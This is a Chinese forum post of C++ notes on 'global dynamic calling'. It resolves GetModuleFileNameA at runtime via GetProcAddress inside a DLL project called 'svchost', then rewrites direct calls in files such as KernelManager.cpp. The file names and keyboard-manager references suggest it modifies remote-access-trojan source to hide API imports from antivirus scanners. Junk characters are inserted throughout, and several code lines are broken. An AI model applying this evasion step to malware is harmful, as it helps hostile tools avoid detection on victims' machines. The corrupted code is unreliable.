[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记0 b- `  Q  s4 _$ _
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h8 `" V( E* x9 K* X: ~, X6 f7 d) v
----------------------------------------
" O7 R2 z- P, v& p; ~DTDY.h：1 w5 q2 k) c9 Z* [
8 D' M0 K& a) V$ v1 \8 B8 Z1 H" ]
#if _MSC_VER>10007 Y; B! f1 X. ]# s$ s  G' t
#pragma once
8 n2 c! M% F, e. x" Z1 }# ?#endif //_MSC_VER>1000
& E3 m- F( ~0 V, T#include<windows.h>
& z* h# W! t5 d. z7 q6 E" q& q/ l
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);" i) p$ i9 Z( N5 @# U% |
class DTDY
. q+ J  A0 B8 L& H{* j5 ?) K7 q& U# W+ e% @
public:
# \3 L( y  A( a' k' e: IDTDY();
3 p7 _9 p0 ~: T+ ?" n/ }virtual ~DTDY();3 p. w1 k% G& i3 c$ U4 p
public:- d7 ~8 B3 x  |5 Y, P( H2 r
static pGetModuleFileNameA MyGetModuleFileName;1 w) n" b$ l' N8 b/ Q6 @% h( h! u$ s& `
static BOOL FunInitiallization();
- o/ _/ O/ v; e2 N& j% j};! X( `* I* Y* l+ ?, R, A
#endif
5 C. k7 \, F( O! @" }----------------------------------------
. S* l- U" j! z- g/ F. j$ h  ], R0 Z, |
DTDY.cpp:
2 K2 m, Q) w; E# T2 w+ `- D) ^' m1 {
#include "DTDY.h"/ ]7 s$ V' x( b# I9 c" c2 j# ~9 ~
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;2 k/ a5 f9 F/ q: g
DTDY:TDY()
9 c  S3 t7 N% T  s5 U; @4 p) O5 ~{
$ g0 O; w; @3 o) y! n}
7 f* X3 ?) ~7 [. }9 mDTDY::~DTDY()7 ?2 E1 x4 ?- P4 G+ i  |5 @$ g
{  i7 B" R& l0 D% a3 G
}) N  B6 M: _5 F% }# z7 ~* d
BOOL DTDY::FunInitiallization()
: F) ]0 W( N+ _{
6 E9 |/ h& J* m, P- \3 d: CHMODULE hModule=LoadLibrary("kernel32.dll");+ B- C  q/ h! x5 G7 w* a
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
" O0 `$ D# |% J& X; o- Z6 pif(!MyGetModuleFileName=) return FALSE;
! N, o2 ^4 r! j" m  K: K/ o
, }9 C# S" n- I) Z( O, P! U( b, Vreturn TRUE;
6 ^1 X% a. l- t) t! z, e}3 E% d) C+ _7 {# E. V$ _: v  Y$ u
----------------------------------------/ j7 u2 F* |+ x4 n: \; i4 V( g
svchost.cpp:: ?2 g3 z7 s( H5 J+ v$ V

$ W* L, Y+ O; N0 X#include "DTDY.h"
' N1 h; w8 j1 `( z: d/ \' U9 a. {9 N( B5 b7 j0 e5 {
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ Z$ h9 J  l1 O  C/ d3 ]' L& X
{
0 i- q+ c  A+ _/ v* u" Tswitch(ul_reason_for_call)
  O5 U! q; p+ j0 h{' x9 K4 s& f+ y( ]; w4 r# C
case DLL_PROCESS_ATTACH:
. f  c9 G9 W! Y( o$ r- i, Pif(!DTDY::FunInitiallization()) return FALSE;9 m! v2 Z4 d% n4 [* R% e5 c2 I
( I2 c$ J& d8 L1 o( F) H
break;$ J$ W: M2 i# g/ k
}
- Y$ ~: Q& u3 h( r}
* g4 V7 d" S( |5 z  n
3 V* T& z! ]& t0 u0 D' R6 T' t9 o' C1 f" f) ?
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def) u2 A7 L5 I2 F4 A2 @
改写为- u$ E6 Z# H) ^) ^
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# a/ f3 ?$ y5 j& E* O- O3 V( L
----------------------------------------
% R3 k+ x4 ~6 BKernelManager.cpp:
- |# N* b; D2 K* ^
* [$ |2 o7 a$ L: n#include "../DTDY.h"
0 o) @. O! Q6 aGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
( M1 s( v$ {- T" }: D8 a  p* I- [% r改写为7 _) g7 S7 e, I, G. o
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, k; \8 ~/ C4 A6 d! ?+ [8 M
----------------------------------------